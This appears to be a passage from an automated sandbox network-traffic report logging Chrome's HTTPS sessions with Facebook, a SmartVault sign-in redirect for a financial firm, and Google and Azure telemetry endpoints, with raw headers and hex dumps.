2024-04-11 20:35:36 UTC	1634	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: ZFLtdcU+Go6QpmTfGJWakA== Expires: Sat, 05 Apr 2025 09:40:04 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: lW801/3GNW4aLS6Rww/yunc+gI6+4rzJUKtIg61LTl2Z+dFKauEolhRPyKfAjQyY1irCqxgKBkyDgIxCnzfEBQ== Date: Thu, 11 Apr 2024 20:35:36 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 2106
2024-04-11 20:35:36 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-04-11 20:35:36 UTC	2105	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 03 00 00 00 65 02 9c 35 00 00 01 59 50 4c 54 45 47 70 4c 05 65 ff 08 65 ff 07 65 ff 10 70 ff 07 65 ff 08 66 ff 08 66 ff 08 68 ff 08 66 ff 07 66 ff 00 60 ff 10 60 ff ff ff ff 08 67 ff 07 66 ff 08 66 ff 08 67 ff 08 67 ff 08 66 ff 08 66 ff 08 66 ff 08 67 ff 07 66 ff 08 68 ff 09 65 ff 08 66 ff 08 64 ff 09 67 ff 07 65 ff 07 65 ff 06 63 ff 0a 66 ff 07 66 ff 08 65 ff 07 66 ff 09 67 ff 06 67 ff 08 65 ff 08 66 ff 08 66 ff ff ff ff ff ff ff 08 69 ff 08 68 ff 07 65 ff 09 66 ff 07 66 ff ff ff ff 0b 65 ff ff ff ff ff ff ff 07 65 ff 07 67 ff 07 66 ff 07 66 ff 0a 66 ff 09 66 ff 07 66 ff 09 66 ff 07 67 ff ff ff ff ff ff ff 06 66 ff 08 65 ff 07 65 ff ff ff ff 87 b7 ff 46 8c ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDRe5YPLTEGpLeeepeffhff``gffggfffgfhefdgeecffefggeffiheffeegffffffgfeeF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	50058	13.107.246.40	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:38 UTC	546	OUT	GET /event?correlationId=f5447fda-f9aa-4707-8a29-843cb3f895af&type=ping HTTP/1.1 Host: ps.azurewaf.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=749eee6039c5489b9db3000c7ab3f399&HASH=749e&LV=202310&V=4&LU=1696413236917; MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
2024-04-11 20:35:38 UTC	646	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 11 Apr 2024 20:35:38 GMT Content-Length: 0 Connection: close Allow: POST Set-Cookie: TiPMix=19.046246475159034; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Strict-Transport-Security: max-age=2592000 Request-Context: appId=cid-v1:b972f5ff-0dbf-487c-8b8c-19607927d2c0 X-Powered-By: ASP.NET x-azure-ref: 20240411T203538Z-17596848d4ct5p6jmp4ap3nwfs00000003h0000000001pea X-Cache: CONFIG_NOCACHE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	50061	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:38 UTC	1304	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=c&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1431 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvyltBVkmnLbOV31G sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o
2024-04-11 20:35:38 UTC	1431	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 76 79 6c 74 42 56 6b 6d 6e 4c 62 4f 56 33 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 31 32 38 36 37 37 33 37 37 34 37 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 76 79 6c 74 42 56 6b 6d 6e 4c 62 4f 56 33 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 6f 73 74 5f 30 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 62 6c 6f 62 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 78 9c d5 57 5d Data Ascii: ------WebKitFormBoundaryvyltBVkmnLbOV31GContent-Disposition: form-data; name="ts"1712867737747------WebKitFormBoundaryvyltBVkmnLbOV31GContent-Disposition: form-data; name="post_0"; filename="blob"Content-Type: application/octet-streamxW]
2024-04-11 20:35:39 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:39 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:39 UTC	1758	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	50066	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:39 UTC	655	OUT	GET / HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:39 UTC	1622	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 20:35:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 140 Connection: close Cache-Control: private, no-store Expires: Thu, 11 Apr 2024 03:55:39 GMT Last-Modified: Thu, 11 Apr 2024 15:35:39 GMT Location: /users/secure/Home.aspx Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:39 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 75 73 65 72 73 2f 73 65 63 75 72 65 2f 48 6f 6d 65 2e 61 73 70 78 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/users/secure/Home.aspx">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	50069	142.250.80.14	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:39 UTC	712	OUT	POST /log?hasfast=true&authuser=0&format=json HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 565 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:39 UTC	565	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 33 2c 31 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 31 31 32 2c 5b 5b 22 31 37 31 32 38 36 37 37 33 35 31 38 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[3,1,0,0,0]]],1112,[["1712867735187",null,null,null
2024-04-11 20:35:39 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=513=YkIIuj1fYS38Z4XixwqVsIb5iaulBKajTOFsrynTZmCGqagfXhVmuNR2_t-ZxfLZx5SYXbVpGa8JOTKxC-64n_2RG5dv-v3gZglloOXDVhrwrN7rNr4dTfHEr1ffwDVW_wE9-3T1dkVaTaWfeP25PvTWyBUuxxiR886IfMwJ0zI; expires=Fri, 11-Oct-2024 20:35:39 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 11 Apr 2024 20:35:39 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 11 Apr 2024 20:35:39 GMT Connection: close Transfer-Encoding: chunked
2024-04-11 20:35:39 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-04-11 20:35:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	50070	142.250.80.14	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:39 UTC	712	OUT	POST /log?hasfast=true&authuser=0&format=json HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 566 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:39 UTC	566	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 33 2c 31 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 31 31 32 2c 5b 5b 22 31 37 31 32 38 36 37 37 33 35 33 36 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[3,1,0,0,0]]],1112,[["1712867735364",null,null,null
2024-04-11 20:35:39 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=513=KJ_tlYS8RoWe7-Wj9_-4O7JXRHhOfs8A8O-xBHK8Tw1Tf3uIdoBJIo2rMpOPgBAi7HAJGtrKObe52n08PvHHy8A38W8M4IuigqbwzFeApbtdrvJaVDBGT7b4xgVbQdRVEgS9QN4nnbqL5mOSvxeKoVraQFN4jdVTVRbzBLcncgo; expires=Fri, 11-Oct-2024 20:35:39 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 11 Apr 2024 20:35:39 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 11 Apr 2024 20:35:39 GMT Connection: close Transfer-Encoding: chunked
2024-04-11 20:35:39 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-04-11 20:35:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	50065	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:39 UTC	677	OUT	GET /users/secure/Home.aspx HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:39 UTC	1562	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 20:35:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 176 Connection: close Cache-Control: private Location: /secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:39 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:39 UTC	176	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 73 65 63 75 72 65 2f 53 69 67 6e 49 6e 2e 61 73 70 78 3f 52 65 74 75 72 6e 55 72 6c 3d 25 32 66 75 73 65 72 73 25 32 66 73 65 63 75 72 65 25 32 66 48 6f 6d 65 2e 61 73 70 78 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	50072	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
